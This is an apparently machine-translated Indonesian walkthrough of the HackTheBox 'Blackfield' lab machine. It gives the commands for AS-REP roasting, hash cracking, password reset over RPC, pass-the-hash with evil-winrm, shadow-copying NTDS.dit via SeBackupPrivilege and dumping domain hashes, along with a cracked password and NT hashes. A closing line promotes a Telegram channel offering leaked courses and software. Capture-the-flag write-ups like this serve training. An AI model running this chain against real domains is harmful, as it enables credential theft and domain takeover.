HackTheBox. Walkthrough Blackfield. Membajak pengontrol domain melalui SMB dan RPC, LPE melalui salinan bayangan



Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .



Dalam artikel ini, saya akan menggunakan ASRep Roasting untuk menentukan pengguna, RPC untuk mengubah kata sandi dan mengambil alih akun, dan kemudian meningkatkan hak istimewa kami dengan salinan bayangan NTDS.DIT.



Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.



Informasi organisasi
, , Telegram . , , .



. , - , .



Pengintai



Mesin ini memiliki alamat IP 10.10.10.192, yang saya tambahkan ke / etc / hosts.



10.10.10.192 	blackfield.htb


Langkah pertama adalah memindai port yang terbuka. Saya melakukan ini menggunakan skrip berikut, yang mengambil satu argumen - alamat host yang dipindai:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






Kami melihat banyak port terbuka, tetapi seperti biasa, mari kita mulai dengan SMB. Mari kita lihat apakah kita bisa melakukan sesuatu tanpa masuk.



smbmap -u anonymous -H 10.10.10.192






Dan profil direktori $ tersedia untuk dibaca.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2






Kami memiliki daftar besar pengguna potensial. Kami dapat memeriksa pengguna mana yang benar-benar hadir di sistem. Faktanya adalah bahwa selama serangan ASRep Roasting, server memiliki tiga respons berbeda:



  • hash kata sandi pengguna;
  • pengguna ini tidak memiliki kumpulan UAF Dont Require PreAuth;
  • tidak ada pengguna seperti itu dalam database Kerberos.


Dengan demikian, kita akan bisa mengetahui siapa dan siapa yang bukan.



Titik masuk



Pertama, mari kita buat daftarnya.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt


Sekarang mari lakukan ASRep-Roasting.



GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt






Dan saya terkejut ketika hash itu dikembalikan kepada kami. Mari kita dengarkan dia.



john support.hash -w=./tools/rockyou.txt






Dan kami memiliki akun yang dikontrol sepenuhnya. Sekarang mari kita dapatkan informasi sebanyak mungkin menggunakan enum4linux.



enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null






Kami akan mendapatkan daftar besar pengguna yang tidak dikenal, tetapi yang paling menarik adalah keanggotaan grup. Ini akan memberi tahu kita bahwa svc_backup ada di grup RMU (RID: 580), yang memungkinkan koneksi jarak jauh menggunakan Win-RM.



Kami tidak dapat mengambil apa pun dari SMB, tetapi kami tidak menemukan apa pun di LDAP. Tapi di RPC ternyata ada satu trik. Mari terhubung:



rpcclient 10.10.10.192 -U support






Faktanya adalah dimungkinkan untuk mengubah kata sandi pengguna dengan hak istimewa yang sama, semuanya dijelaskan secara rinci di sini . Dan saya berhasil melakukan ini untuk audit pengguna2020.



setuserinfo2 audit2020 18 'ralf'






Sekarang kita mulai menganalisis semua sumber daya dan layanan dari awal, karena kita memiliki akun terkontrol lainnya.



PENGGUNA



Kami pergi ke SMB.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192






Ada banyak hal untuk dibaca, lebih baik menampilkan semua konten secara rekursif dan melihatnya sekaligus.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R






Dan di folder forensik \ memory_analysis kita menemukan, tampaknya, dump dari proses lsass. Dan dari situ kita bisa mendapatkan kata sandi menggunakan mimikatz. Unduh file ini.



smbclient.py blackfield.local/audit2020:ralf@10.10.10.192






Sekarang mari kita pergi ke mesin Windows dan menggunakan mimikatz.







Dan, mengetahui hash, menggunakan Evil-WinRM, kami terhubung atas nama svc_backup.



evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d






AKAR



Mari kita lihat grup dan hak pengguna.







Kami memiliki hak istimewa SeBackupPrivilege. Ini memberi kami hak untuk membuat salinan bayangan dari file NTDS yang berisi banyak kredensial. Setelah kami membuat salinan, kami tidak bisa begitu saja mengekstrak file yang diperlukan. Untuk ini kita membutuhkan DLL berikut .



Mari membuat salinan bayangan. Mari buat file dengan konten berikut.



SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:


Dan sekarang mari kita unggah dan unduh pustaka ke host.







Mari lakukan salinan bayangan.



diskshadow /s ds.txt










Dan buang file tersebut.



Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit






Tetapi file ini dienkripsi, dan untuk mendekripsinya kita memerlukan file SYSTEM, yang tidak akan menjadi masalah untuk mendapatkannya.



reg save HKLM\SYSTEM C:\Temp\SYSTEM






Unduh kedua file dari mesin.







Dan kami mendapatkan hash menggunakan secretdump dari paket impacket.



secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL






Mari terhubung sebagai administrator.



evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee








Kami memiliki kendali penuh atas mesin ini.



Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas, di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.



All Articles